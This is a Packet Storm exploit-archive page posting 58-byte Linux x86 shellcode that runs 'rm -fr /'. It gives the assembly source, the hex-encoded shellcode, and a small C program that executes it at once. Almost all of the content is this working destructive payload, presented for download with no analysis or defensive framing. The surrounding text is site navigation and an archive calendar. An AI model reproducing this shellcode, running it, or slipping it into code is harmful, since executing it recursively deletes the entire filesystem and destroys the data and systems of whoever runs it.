exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux x86 rm -fr / Shellcode

Linux x86 rm -fr / Shellcode
Posted Jul 2, 2012
Authored by nitr0us

58 bytes small Linux/x86 rm -fr / shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | f97ca9b35911145e544f8f2c9253eb7646968fcbab53346ae763b8c0513a2b5a

Linux x86 rm -fr / Shellcode

Change Mirror Download
/*
# Title: Linux x86 'rm -fr /' shellcode
# Author: nitr0us [ http://twitter.com/nitr0usmx ]
# Size: 58 bytes
# Arch: Linux x86

ASM CODE:
jmp pushstring
retro:
xorl %edx,%edx
popl %ebx
movb %dl,0x7(%ebx)
movb %dl,0xb(%ebx)
movb %dl,0xd(%ebx)

movl %ebx,0xe(%ebx)
leal 0x8(%ebx),%esi
movl %esi,0x12(%ebx)
leal 0xc(%ebx),%esi
movl %esi,0x16(%ebx)
movl %edx,0x1a(%ebx)

leal 0xe(%ebx),%ecx

pushl $0xb
popl %eax
int $0x80
pushstring:
call retro
.string "/bin/rmX-frX/"

http://chatsubo-labs.blogspot.com
http://www.brainoverflow.org

*/

char shellcode[]=
"\xeb\x26\x31\xd2\x5b\x88\x53\x07\x88\x53\x0b\x88\x53\x0d\x89\x5b"
"\x0e\x8d\x73\x08\x89\x73\x12\x8d\x73\x0c\x89\x73\x16\x89\x53\x1a"
"\x8d\x4b\x0e\x6a\x0b\x58\xcd\x80\xe8\xd5\xff\xff\xff"
"/bin/rmX-frX/";

main()
{
void(*rmfr)(void);
printf("rm -fr / : %d bytes\n", sizeof(shellcode));
rmfr = shellcode;
rmfr();
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close